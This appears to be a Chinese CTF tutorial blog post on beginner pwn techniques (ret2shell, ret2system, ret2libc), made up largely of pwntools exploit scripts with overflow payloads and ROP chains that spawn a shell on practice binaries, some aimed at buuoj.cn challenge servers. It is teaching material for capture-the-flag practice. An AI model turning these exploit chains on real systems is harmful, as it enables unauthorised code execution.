本篇将以难度顺序讲解各种难度的pwn,因为传参方式不同,这里给两类64位和32位

我直接给出未解释的地址一般是ida给的或者ROPgadget 给的,去看我的模板去

ret2shell(直接留了后门,最简单的,新手入门用)

32位

ret2shell32例题下载

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./ret2shell32')
context.log_level="debug"

payload=(0x6C+4)*b'a'+p32(0x080485CB)
p.sendlineafter("Please enter your string:",payload)
p.interactive()
#你的当前文件夹下没有flag,显示Flag File is Missing.就代表通了

64位

ret2shell64例题下载

1
2
3
4
5
6
7
8
9
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn',29823)
#io=process("./ret2shell64")
payload = b'a'*(0x40 + 0x8) + p64(0x40060D)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

#这里好像64和32没什么区别

ret2system(比前面那个难一丢丢,直接给了system函数)

例题来自buu :ciscn_2019_ne_5,也可以到网上看看别人的题解

32位

ret2system32例题下载

本题比较水,出题人偷偷地留了一个带‘sh’的字符串,可以作为参数传给system直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level="debug"
#p = remote('node4.buuoj.cn',29730)
p = process("./ret2system32")

p.sendlineafter("password:",b'administrator')#逆向一下,绕过字符串检测
p.sendlineafter("0.Exit\n:",b'1')
payload=b"a"*76+p32(0x080484D0)+ 4*b'a' +p32(0x080482ea)
# sys函数plt 填充ebp sh字符串地址
p.sendlineafter("new log info:",payload)
p.sendlineafter("0.Exit\n:",b'4')
p.interactive()


#ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh'
#这是一条ROPgadget指令,环境配好以后可以查找文件中的sh字符串位置

64位

实在找不到啦,关于64位和32位的区别在下一阶段可以了解,这段算了

ret2libc(真正进入pwn的第一步)

这部分主要是借助一些输出函数write,puts,printf泄露出一个函数的真实地址,进而得到libc的真实地址,可以调用libc里的任意函数getshell

由于每个程序里面的输出函数不一致,需要的参数也不同,所以exp略有区别

下面是一道32位利用write泄露题的exp

32位write

write32下载

libc下载:https://buuoj.cn/resources 在里面选择32位libc-2.23.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#io=remote('node4.buuoj.cn',28321)
io=process('./pwn')
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')

system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

write_libc=libc.symbols['write']
write_plt=elf.plt['write']
write_got=elf.got['write']

main_addr=0x8048825
payload=b'\x00'+b'\xff'*10
io.sendline(payload)

io.recvuntil(b"Correct\n")
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
# ret1 ret2
payload+=p32(1)+p32(write_got)+p32(4)
#write par1 par2 par3
io.sendline(payload)
write_addr=u32(io.recv(4))
base=write_addr-write_libc


system_addr=system_libc+base
binsh_addr=binsh_libc+base
payload=b'\x00'+b'\xff'*10
io.sendline(payload)
io.recvuntil(b"Correct\n")
payload=b'a'*(0xe7+4)+p32(system_addr)+p32(main_addr)
payload+=p32(binsh_addr)
io.sendline(payload)
io.interactive()
# rdi, rsi, rdx, rcx, r8, r9

64位write

write64下载

libc下载:https://buuoj.cn/resources 在里面选择32位libc-2.23.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context.log_level="debug"
p = remote('node4.buuoj.cn',26446)
elf=ELF("level3_x64")
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi_ret=0x00000000004006b3
pop_rsi_r15_ret=0x00000000004006b1

payload =b'a' * (0x80+8) + p64(pop_rdi_ret) +p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0) +p64(write_plt)+ p64(main_addr)
p.sendlineafter(":",payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))

libc = ELF("libc-2.23.so")
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
ret_addr=0x00000000004004c9

payload2 =b'a' * (0x80+8) +p64(pop_rdi_ret) + p64(binsh_addr)+p64(system_addr)
p.sendlineafter(":",payload2)
p.interactive()

剩下两种懒得写了,和write只有参数不同,有兴趣自己到网上找找,或者去heshi的github去捞